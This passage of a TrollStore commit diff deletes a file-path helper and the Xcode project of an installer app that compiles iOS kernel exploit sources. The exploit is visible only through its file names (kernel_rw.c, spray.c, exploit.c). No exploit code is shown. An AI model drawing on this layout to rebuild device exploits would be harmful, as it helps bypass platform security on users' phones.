TrollStore 1.2, new build setup, deprecate installers in favor of TrollHelperOTA, add jailbreak guide, add better version compatibility notes

This commit is contained in:
opa334 2022-10-11 22:57:08 +02:00
parent 7d79f2e938
commit 4850eb5a9e
223 changed files with 994 additions and 6197 deletions

3
.gitignore vendored
View File

@ -4,5 +4,6 @@ out/
packages/
xcuserdata
.vscode
pwnify_compiled
Pwnify/pwnify
InstallerVictim.ipa
_build

View File

@ -1,7 +0,0 @@
#import "CoreServices.h"
NSArray* trollStoreInstalledAppBundlePaths();
NSArray* trollStoreInstalledAppContainerPaths();
NSString* trollStorePath();
NSString* trollStoreAppPath();
LSApplicationProxy* findPersistenceHelperApp(void);

View File

@ -1,91 +0,0 @@
@import Foundation;
#import "CoreServices.h"
#import <objc/runtime.h>
NSArray* trollStoreInstalledAppContainerPaths()
{
NSMutableArray* appContainerPaths = [NSMutableArray new];
NSString* appContainersPath = @"/var/containers/Bundle/Application";
NSError* error;
NSArray* containers = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:appContainersPath error:&error];
if(error)
{
NSLog(@"error getting app bundles paths %@", error);
}
if(!containers) return nil;
for(NSString* container in containers)
{
NSString* containerPath = [appContainersPath stringByAppendingPathComponent:container];
BOOL isDirectory = NO;
BOOL exists = [[NSFileManager defaultManager] fileExistsAtPath:containerPath isDirectory:&isDirectory];
if(exists && isDirectory)
{
NSString* trollStoreMark = [containerPath stringByAppendingPathComponent:@"_TrollStore"];
if([[NSFileManager defaultManager] fileExistsAtPath:trollStoreMark])
{
NSString* trollStoreApp = [containerPath stringByAppendingPathComponent:@"TrollStore.app"];
if(![[NSFileManager defaultManager] fileExistsAtPath:trollStoreApp])
{
[appContainerPaths addObject:containerPath];
}
}
}
}
return appContainerPaths.copy;
}
NSArray* trollStoreInstalledAppBundlePaths()
{
NSMutableArray* appPaths = [NSMutableArray new];
for(NSString* containerPath in trollStoreInstalledAppContainerPaths())
{
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:containerPath error:nil];
if(!items) return nil;
for(NSString* item in items)
{
if([item.pathExtension isEqualToString:@"app"])
{
[appPaths addObject:[containerPath stringByAppendingPathComponent:item]];
}
}
}
return appPaths.copy;
}
NSString* trollStorePath()
{
NSError* mcmError;
MCMAppContainer* appContainer = [objc_getClass("MCMAppContainer") containerWithIdentifier:@"com.opa334.TrollStore" createIfNecessary:NO existed:NULL error:&mcmError];
if(!appContainer) return nil;
return appContainer.url.path;
}
NSString* trollStoreAppPath()
{
return [trollStorePath() stringByAppendingPathComponent:@"TrollStore.app"];
}
LSApplicationProxy* findPersistenceHelperApp(void)
{
__block LSApplicationProxy* outProxy;
[[LSApplicationWorkspace defaultWorkspace] enumerateApplicationsOfType:1 block:^(LSApplicationProxy* appProxy)
{
if(appProxy.installed && !appProxy.restricted)
{
if([appProxy.bundleURL.path hasPrefix:@"/private/var/containers"])
{
NSURL* trollStorePersistenceMarkURL = [appProxy.bundleURL URLByAppendingPathComponent:@".TrollStorePersistenceHelper"];
if([trollStorePersistenceMarkURL checkResourceIsReachableAndReturnError:nil])
{
outProxy = appProxy;
}
}
}
}];
return outProxy;
}

View File

@ -1,486 +0,0 @@
// !$*UTF8*$!
{
archiveVersion = 1;
classes = {
};
objectVersion = 55;
objects = {
/* Begin PBXBuildFile section */
8C4D6A3528C17B010004DEA4 /* unarchive.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C4D6A3428C17B010004DEA4 /* unarchive.m */; };
8C7E16FF28B24C0000D9D33E /* TrollStore.tar in Resources */ = {isa = PBXBuildFile; fileRef = 8C7E16FE28B24C0000D9D33E /* TrollStore.tar */; };
8CDF7C4928AE47A200837105 /* kernel_rw.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3928AE47A200837105 /* kernel_rw.c */; };
8CDF7C4A28AE47A200837105 /* port_utils.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3A28AE47A200837105 /* port_utils.c */; };
8CDF7C4B28AE47A200837105 /* IOGPU.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3B28AE47A200837105 /* IOGPU.c */; };
8CDF7C4C28AE47A200837105 /* spray.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3D28AE47A200837105 /* spray.c */; };
8CDF7C4D28AE47A200837105 /* mcast.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3E28AE47A200837105 /* mcast.c */; };
8CDF7C4E28AE47A200837105 /* kernel_base.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3F28AE47A200837105 /* kernel_base.c */; };
8CDF7C4F28AE47A200837105 /* IOSurfaceRoot.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */; };
8CDF7C5028AE47A200837105 /* necp.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4128AE47A200837105 /* necp.c */; };
8CDF7C5128AE47A200837105 /* exploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4828AE47A200837105 /* exploit.c */; };
8CE2BD2528AD5D710058FBAD /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2428AD5D710058FBAD /* AppDelegate.m */; };
8CE2BD2828AD5D710058FBAD /* SceneDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */; };
8CE2BD2B28AD5D710058FBAD /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2A28AD5D710058FBAD /* ViewController.m */; };
8CE2BD2E28AD5D720058FBAD /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2C28AD5D720058FBAD /* Main.storyboard */; };
8CE2BD3028AD5D730058FBAD /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */; };
8CE2BD3328AD5D730058FBAD /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */; };
8CE2BD3628AD5D730058FBAD /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD3528AD5D730058FBAD /* main.m */; };
8CE2BD7428AD5E060058FBAD /* KernelManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD7228AD5E060058FBAD /* KernelManager.m */; };
8CE2BD7728AD5E1A0058FBAD /* kutil.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD7528AD5E1A0058FBAD /* kutil.m */; };
/* End PBXBuildFile section */
/* Begin PBXFileReference section */
8C4D6A3428C17B010004DEA4 /* unarchive.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = unarchive.m; sourceTree = "<group>"; };
8C4D6A3628C17B0F0004DEA4 /* unarchive.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = unarchive.h; sourceTree = "<group>"; };
8C4D6A3728C17B830004DEA4 /* archive_entry.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = archive_entry.h; sourceTree = "<group>"; };
8C4D6A3828C17B830004DEA4 /* archive.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = archive.h; sourceTree = "<group>"; };
8C7E16FE28B24C0000D9D33E /* TrollStore.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; name = TrollStore.tar; path = ../../../_compile/out/TrollStore.tar; sourceTree = "<group>"; };
8CDF7C3528AE47A200837105 /* kernel_base.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_base.h; sourceTree = "<group>"; };
8CDF7C3628AE47A200837105 /* xpaci.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = xpaci.h; sourceTree = "<group>"; };
8CDF7C3728AE47A200837105 /* necp.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = necp.h; sourceTree = "<group>"; };
8CDF7C3828AE47A200837105 /* IOSurfaceRoot.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOSurfaceRoot.h; sourceTree = "<group>"; };
8CDF7C3928AE47A200837105 /* kernel_rw.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_rw.c; sourceTree = "<group>"; };
8CDF7C3A28AE47A200837105 /* port_utils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = port_utils.c; sourceTree = "<group>"; };
8CDF7C3B28AE47A200837105 /* IOGPU.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOGPU.c; sourceTree = "<group>"; };
8CDF7C3C28AE47A200837105 /* exploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = exploit.h; sourceTree = "<group>"; };
8CDF7C3D28AE47A200837105 /* spray.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = spray.c; sourceTree = "<group>"; };
8CDF7C3E28AE47A200837105 /* mcast.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = mcast.c; sourceTree = "<group>"; };
8CDF7C3F28AE47A200837105 /* kernel_base.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_base.c; sourceTree = "<group>"; };
8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOSurfaceRoot.c; sourceTree = "<group>"; };
8CDF7C4128AE47A200837105 /* necp.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = necp.c; sourceTree = "<group>"; };
8CDF7C4228AE47A200837105 /* iokit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = "<group>"; };
8CDF7C4328AE47A200837105 /* IOGPU.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOGPU.h; sourceTree = "<group>"; };
8CDF7C4428AE47A200837105 /* port_utils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = port_utils.h; sourceTree = "<group>"; };
8CDF7C4528AE47A200837105 /* kernel_rw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_rw.h; sourceTree = "<group>"; };
8CDF7C4628AE47A200837105 /* mcast.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = mcast.h; sourceTree = "<group>"; };
8CDF7C4728AE47A200837105 /* spray.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = spray.h; sourceTree = "<group>"; };
8CDF7C4828AE47A200837105 /* exploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = exploit.c; sourceTree = "<group>"; };
8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = TrollInstaller.app; sourceTree = BUILT_PRODUCTS_DIR; };
8CE2BD2328AD5D710058FBAD /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = "<group>"; };
8CE2BD2428AD5D710058FBAD /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = "<group>"; };
8CE2BD2628AD5D710058FBAD /* SceneDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SceneDelegate.h; sourceTree = "<group>"; };
8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SceneDelegate.m; sourceTree = "<group>"; };
8CE2BD2928AD5D710058FBAD /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = "<group>"; };
8CE2BD2A28AD5D710058FBAD /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = "<group>"; };
8CE2BD2D28AD5D720058FBAD /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
8CE2BD3228AD5D730058FBAD /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = "<group>"; };
8CE2BD3428AD5D730058FBAD /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
8CE2BD3528AD5D730058FBAD /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = "<group>"; };
8CE2BD7228AD5E060058FBAD /* KernelManager.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelManager.m; sourceTree = "<group>"; };
8CE2BD7328AD5E060058FBAD /* KernelManager.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelManager.h; sourceTree = "<group>"; };
8CE2BD7528AD5E1A0058FBAD /* kutil.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kutil.m; sourceTree = "<group>"; };
8CE2BD7628AD5E1A0058FBAD /* kutil.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kutil.h; sourceTree = "<group>"; };
/* End PBXFileReference section */
/* Begin PBXFrameworksBuildPhase section */
8CE2BD1D28AD5D710058FBAD /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXFrameworksBuildPhase section */
/* Begin PBXGroup section */
8C4D6A3128C17A490004DEA4 /* headers */ = {
isa = PBXGroup;
children = (
8C4D6A3728C17B830004DEA4 /* archive_entry.h */,
8C4D6A3828C17B830004DEA4 /* archive.h */,
);
path = headers;
sourceTree = "<group>";
};
8CDF7C3428AE47A200837105 /* exploit */ = {
isa = PBXGroup;
children = (
8CDF7C3528AE47A200837105 /* kernel_base.h */,
8CDF7C3628AE47A200837105 /* xpaci.h */,
8CDF7C3728AE47A200837105 /* necp.h */,
8CDF7C3828AE47A200837105 /* IOSurfaceRoot.h */,
8CDF7C3928AE47A200837105 /* kernel_rw.c */,
8CDF7C3A28AE47A200837105 /* port_utils.c */,
8CDF7C3B28AE47A200837105 /* IOGPU.c */,
8CDF7C3C28AE47A200837105 /* exploit.h */,
8CDF7C3D28AE47A200837105 /* spray.c */,
8CDF7C3E28AE47A200837105 /* mcast.c */,
8CDF7C3F28AE47A200837105 /* kernel_base.c */,
8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */,
8CDF7C4128AE47A200837105 /* necp.c */,
8CDF7C4228AE47A200837105 /* iokit.h */,
8CDF7C4328AE47A200837105 /* IOGPU.h */,
8CDF7C4428AE47A200837105 /* port_utils.h */,
8CDF7C4528AE47A200837105 /* kernel_rw.h */,
8CDF7C4628AE47A200837105 /* mcast.h */,
8CDF7C4728AE47A200837105 /* spray.h */,
8CDF7C4828AE47A200837105 /* exploit.c */,
);
path = exploit;
sourceTree = "<group>";
};
8CE2BD1728AD5D710058FBAD = {
isa = PBXGroup;
children = (
8CE2BD2228AD5D710058FBAD /* TrollInstaller */,
8CE2BD2128AD5D710058FBAD /* Products */,
);
sourceTree = "<group>";
};
8CE2BD2128AD5D710058FBAD /* Products */ = {
isa = PBXGroup;
children = (
8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */,
);
name = Products;
sourceTree = "<group>";
};
8CE2BD2228AD5D710058FBAD /* TrollInstaller */ = {
isa = PBXGroup;
children = (
8C4D6A3128C17A490004DEA4 /* headers */,
8CDF7C3428AE47A200837105 /* exploit */,
8CE2BD2328AD5D710058FBAD /* AppDelegate.h */,
8CE2BD2428AD5D710058FBAD /* AppDelegate.m */,
8CE2BD2628AD5D710058FBAD /* SceneDelegate.h */,
8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */,
8CE2BD2928AD5D710058FBAD /* ViewController.h */,
8CE2BD2A28AD5D710058FBAD /* ViewController.m */,
8CE2BD7328AD5E060058FBAD /* KernelManager.h */,
8CE2BD7228AD5E060058FBAD /* KernelManager.m */,
8CE2BD7628AD5E1A0058FBAD /* kutil.h */,
8CE2BD7528AD5E1A0058FBAD /* kutil.m */,
8C4D6A3628C17B0F0004DEA4 /* unarchive.h */,
8C4D6A3428C17B010004DEA4 /* unarchive.m */,
8CE2BD2C28AD5D720058FBAD /* Main.storyboard */,
8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */,
8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */,
8CE2BD3428AD5D730058FBAD /* Info.plist */,
8CE2BD3528AD5D730058FBAD /* main.m */,
8C7E16FE28B24C0000D9D33E /* TrollStore.tar */,
);
path = TrollInstaller;
sourceTree = "<group>";
};
/* End PBXGroup section */
/* Begin PBXNativeTarget section */
8CE2BD1F28AD5D710058FBAD /* TrollInstaller */ = {
isa = PBXNativeTarget;
buildConfigurationList = 8CE2BD3928AD5D730058FBAD /* Build configuration list for PBXNativeTarget "TrollInstaller" */;
buildPhases = (
8CE2BD1C28AD5D710058FBAD /* Sources */,
8CE2BD1D28AD5D710058FBAD /* Frameworks */,
8CE2BD1E28AD5D710058FBAD /* Resources */,
);
buildRules = (
);
dependencies = (
);
name = TrollInstaller;
productName = TrollInstaller;
productReference = 8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */;
productType = "com.apple.product-type.application";
};
/* End PBXNativeTarget section */
/* Begin PBXProject section */
8CE2BD1828AD5D710058FBAD /* Project object */ = {
isa = PBXProject;
attributes = {
BuildIndependentTargetsInParallel = 1;
LastUpgradeCheck = 1340;
TargetAttributes = {
8CE2BD1F28AD5D710058FBAD = {
CreatedOnToolsVersion = 13.4.1;
};
};
};
buildConfigurationList = 8CE2BD1B28AD5D710058FBAD /* Build configuration list for PBXProject "TrollInstaller" */;
compatibilityVersion = "Xcode 13.0";
developmentRegion = en;
hasScannedForEncodings = 0;
knownRegions = (
en,
Base,
);
mainGroup = 8CE2BD1728AD5D710058FBAD;
productRefGroup = 8CE2BD2128AD5D710058FBAD /* Products */;
projectDirPath = "";
projectRoot = "";
targets = (
8CE2BD1F28AD5D710058FBAD /* TrollInstaller */,
);
};
/* End PBXProject section */
/* Begin PBXResourcesBuildPhase section */
8CE2BD1E28AD5D710058FBAD /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
8CE2BD3328AD5D730058FBAD /* LaunchScreen.storyboard in Resources */,
8C7E16FF28B24C0000D9D33E /* TrollStore.tar in Resources */,
8CE2BD3028AD5D730058FBAD /* Assets.xcassets in Resources */,
8CE2BD2E28AD5D720058FBAD /* Main.storyboard in Resources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXResourcesBuildPhase section */
/* Begin PBXSourcesBuildPhase section */
8CE2BD1C28AD5D710058FBAD /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
8CDF7C4B28AE47A200837105 /* IOGPU.c in Sources */,
8CDF7C4C28AE47A200837105 /* spray.c in Sources */,
8CE2BD2B28AD5D710058FBAD /* ViewController.m in Sources */,
8CDF7C4D28AE47A200837105 /* mcast.c in Sources */,
8CDF7C5128AE47A200837105 /* exploit.c in Sources */,
8CDF7C4F28AE47A200837105 /* IOSurfaceRoot.c in Sources */,
8CE2BD2528AD5D710058FBAD /* AppDelegate.m in Sources */,
8CDF7C4A28AE47A200837105 /* port_utils.c in Sources */,
8CDF7C5028AE47A200837105 /* necp.c in Sources */,
8CE2BD7728AD5E1A0058FBAD /* kutil.m in Sources */,
8CDF7C4928AE47A200837105 /* kernel_rw.c in Sources */,
8C4D6A3528C17B010004DEA4 /* unarchive.m in Sources */,
8CE2BD7428AD5E060058FBAD /* KernelManager.m in Sources */,
8CDF7C4E28AE47A200837105 /* kernel_base.c in Sources */,
8CE2BD3628AD5D730058FBAD /* main.m in Sources */,
8CE2BD2828AD5D710058FBAD /* SceneDelegate.m in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXSourcesBuildPhase section */
/* Begin PBXVariantGroup section */
8CE2BD2C28AD5D720058FBAD /* Main.storyboard */ = {
isa = PBXVariantGroup;
children = (
8CE2BD2D28AD5D720058FBAD /* Base */,
);
name = Main.storyboard;
sourceTree = "<group>";
};
8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */ = {
isa = PBXVariantGroup;
children = (
8CE2BD3228AD5D730058FBAD /* Base */,
);
name = LaunchScreen.storyboard;
sourceTree = "<group>";
};
/* End PBXVariantGroup section */
/* Begin XCBuildConfiguration section */
8CE2BD3728AD5D730058FBAD /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++17";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = dwarf;
ENABLE_STRICT_OBJC_MSGSEND = YES;
ENABLE_TESTABILITY = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_DYNAMIC_NO_PIC = NO;
GCC_NO_COMMON_BLOCKS = YES;
GCC_OPTIMIZATION_LEVEL = 0;
GCC_PREPROCESSOR_DEFINITIONS = (
"DEBUG=1",
"$(inherited)",
);
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
IPHONEOS_DEPLOYMENT_TARGET = 15.5;
MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
MTL_FAST_MATH = YES;
ONLY_ACTIVE_ARCH = YES;
SDKROOT = iphoneos;
};
name = Debug;
};
8CE2BD3828AD5D730058FBAD /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++17";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
ENABLE_NS_ASSERTIONS = NO;
ENABLE_STRICT_OBJC_MSGSEND = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_NO_COMMON_BLOCKS = YES;
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
IPHONEOS_DEPLOYMENT_TARGET = 15.5;
MTL_ENABLE_DEBUG_INFO = NO;
MTL_FAST_MATH = YES;
SDKROOT = iphoneos;
VALIDATE_PRODUCT = YES;
};
name = Release;
};
8CE2BD3A28AD5D730058FBAD /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ARCHS = (
arm64e,
arm64,
);
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 1;
DEVELOPMENT_TEAM = 3Z56NQJ65R;
GENERATE_INFOPLIST_FILE = YES;
INFOPLIST_FILE = TrollInstaller/Info.plist;
INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;
INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen;
INFOPLIST_KEY_UIMainStoryboardFile = Main;
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/Frameworks",
);
MARKETING_VERSION = 1.0;
OTHER_LDFLAGS = (
"-framework",
IOKit,
"-larchive",
);
PRODUCT_BUNDLE_IDENTIFIER = com.opa334.TrollInstaller;
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_EMIT_LOC_STRINGS = YES;
TARGETED_DEVICE_FAMILY = "1,2";
};
name = Debug;
};
8CE2BD3B28AD5D730058FBAD /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ARCHS = (
arm64e,
arm64,
);
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 1;
DEVELOPMENT_TEAM = 3Z56NQJ65R;
GENERATE_INFOPLIST_FILE = YES;
INFOPLIST_FILE = TrollInstaller/Info.plist;
INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;
INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen;
INFOPLIST_KEY_UIMainStoryboardFile = Main;
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
